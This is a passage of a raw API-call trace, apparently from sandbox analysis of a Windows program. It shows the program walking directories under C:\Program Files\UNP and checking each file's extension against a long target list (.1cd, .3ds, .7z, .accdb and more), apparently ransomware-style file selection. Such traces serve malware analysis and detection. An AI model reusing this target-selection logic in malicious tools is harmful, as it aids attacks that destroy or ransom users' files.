dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0185.084] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b81242, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b81242, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x71249d00, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0185.084] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b81242, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b81242, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0185.084] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0185.085] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0185.085] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0185.085] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0185.086] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0185.086] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0185.086] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-CN\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0185.088] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0185.088] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x8e1c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0185.089] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x221, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0185.089] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x949a9132, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0185.089] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0185.089] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0185.089] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0185.090] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0185.090] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0185.090] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0185.090] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-HK\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484ed8 [0185.333] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0185.333] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x8fbd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0185.334] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0185.334] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94c57ba9, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0185.334] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0185.334] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0185.334] FindClose (in: hFindFile=0x484ed8 | out: hFindFile=0x484ed8) returned 1 [0185.335] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0185.335] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0185.335] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x40f0f80 [0185.335] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\*", lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484ed8 [0185.336] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0185.336] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x8fbd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0185.336] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0185.337] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0185.337] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0185.337] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x371eb94 | out: lpFindFileData=0x371eb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0185.337] FindClose (in: hFindFile=0x484ed8 | out: hFindFile=0x484ed8) returned 1 [0185.338] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0185.338] FindNextFileW (in: hFindFile=0x484398, lpFindFileData=0x371ee10 | out: lpFindFileData=0x371ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0185.338] FindClose (in: hFindFile=0x484398 | out: hFindFile=0x484398) returned 1 [0185.338] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0948 | out: hHeap=0x420000) returned 1 [0185.340] FindNextFileW (in: hFindFile=0x484618, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 1 [0185.340] FindNextFileW (in: hFindFile=0x484618, lpFindFileData=0x371f08c | out: lpFindFileData=0x371f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 0 [0185.340] FindClose (in: hFindFile=0x484618 | out: hFindFile=0x484618) returned 1 [0185.340] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0940 | out: hHeap=0x420000) returned 1 [0185.340] FindNextFileW (in: hFindFile=0x484798, lpFindFileData=0x371f308 | out: lpFindFileData=0x371f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91be532c-f9f1-406a-9858-43697c6f437a}", cAlternateFileName="{91BE5~1")) returned 0 [0185.340] FindClose (in: hFindFile=0x484798 | out: hFindFile=0x484798) returned 1 [0185.341] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0185.341] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x371f584 | out: lpFindFileData=0x371f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Campaigns", cAlternateFileName="CAMPAI~1")) returned 0 [0185.341] FindClose (in: hFindFile=0x484298 | out: hFindFile=0x484298) returned 1 [0185.341] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0185.343] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x275f77f9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x275f77f9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0185.343] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x408ef20 [0185.343] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\*", lpFindFileData=0x371f584 | out: lpFindFileData=0x371f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x275f77f9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x275f77f9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484798 [0185.344] FindNextFileW (in: hFindFile=0x484798, lpFindFileData=0x371f584 | out: lpFindFileData=0x371f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x275f77f9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x275f77f9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0185.344] FindNextFileW (in: hFindFile=0x484798, lpFindFileData=0x371f584 | out: lpFindFileData=0x371f584*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x275f77f9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x275f77f9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.001.etl", cAlternateFileName="UN6414~1.ETL")) returned 1 [0185.345] FindNextFileW (in: hFindFile=0x484798, lpFindFileData=0x371f584 | out: lpFindFileData=0x371f584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xf95053af, ftLastAccessTime.dwHighDateTime=0x1d5d805, ftLastWriteTime.dwLowDateTime=0x9b236e, ftLastWriteTime.dwHighDateTime=0x1d5d806, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.002.etl", cAlternateFileName="UN8F7C~1.ETL")) returned 1 [0185.345] lstrlenW (lpString="UniversalNotificationPlatform.002.etl") returned 37 [0185.345] lstrlenW (lpString=".1cd") returned 4 [0185.345] lstrcmpiW (lpString1=".1cd", lpString2=".etl") returned -1 [0185.345] lstrlenW (lpString=".3ds") returned 4 [0185.345] lstrcmpiW (lpString1=".3ds", lpString2=".etl") returned -1 [0185.345] lstrlenW (lpString=".3fr") returned 4 [0185.345] lstrcmpiW (lpString1=".3fr", lpString2=".etl") returned -1 [0185.345] lstrlenW (lpString=".3g2") returned 4 [0185.345] lstrcmpiW (lpString1=".3g2", lpString2=".etl") returned -1 [0185.345] lstrlenW (lpString=".3gp") returned 4 [0185.345] lstrcmpiW (lpString1=".3gp", lpString2=".etl") returned -1 [0185.345] lstrlenW (lpString=".7z") returned 3 [0185.345] lstrcmpiW (lpString1=".7z", lpString2="etl") returned -1 [0185.345] lstrlenW (lpString=".accda") returned 6 [0185.345] lstrcmpiW (lpString1=".accda", lpString2="02.etl") returned -1 [0185.345] lstrlenW (lpString=".accdb") returned 6 [0185.345] lstrcmpiW (lpString1=".accdb", lpString2="02.etl") returned -1 [0185.345] lstrlenW (lpString=".accdc") returned 6 [0185.345] lstrcmpiW (lpString1=".accdc", lpString2="02.etl") returned -1 [0185.345] lstrlenW (lpString=".accde") returned 6 [0185.345] lstrcmpiW (lpString1=".accde", lpString2="02.etl") returned -1 [0185.345] lstrlenW (lpString=".accdt") returned 6 [0185.345] lstrcmpiW (lpString1=".accdt", lpString2="02.etl") returned -1 [0185.346] lstrlenW (lpString=".accdw") returned 6 [0185.346] lstrcmpiW (lpString1=".accdw", lpString2="02.etl") returned -1 [0185.346] lstrlenW (lpString=".adb") returned 4 [0185.346] lstrcmpiW (lpString1=".adb", lpString2=".etl") returned -1 [0185.346] lstrlenW (lpString=".adp") returned 4 [0185.346] lstrcmpiW (lpString1=".adp", lpString2=".etl") returned -1 [0185.346] lstrlenW (lpString=".ai") returned 3 [0185.346] lstrcmpiW (lpString1=".ai", lpString2="etl") returned -1 [0185.346] lstrlenW (lpString=".ai3") returned 4 [0185.346] lstrcmpiW (lpString1=".ai3", lpString2=".etl") returned -1 [0185.346] lstrlenW (lpString=".ai4") returned 4 [0185.346] lstrcmpiW (lpString1=".ai4", lpString2=".etl") returned -1 [0185.346] lstrlenW (lpString=".ai5") returned 4 [0185.346] lstrcmpiW (lpString1=".ai5", lpString2=".etl") returned -1 [0185.346] lstrlenW (lpString=".ai6") returned 4 [0185.346] lstrcmpiW (lpString1=".ai6", lpString2=".etl") returned -1 [0185.346] lstrlenW (lpString=".ai7") returned 4 [0185.346] lstrcmpiW (lpString1=".ai7", lpString2=".etl") returned -1 [0185.346] lstrlenW (lpString=".ai8") returned 4 [0185.346] lstrcmpiW (lpString1=".ai8", 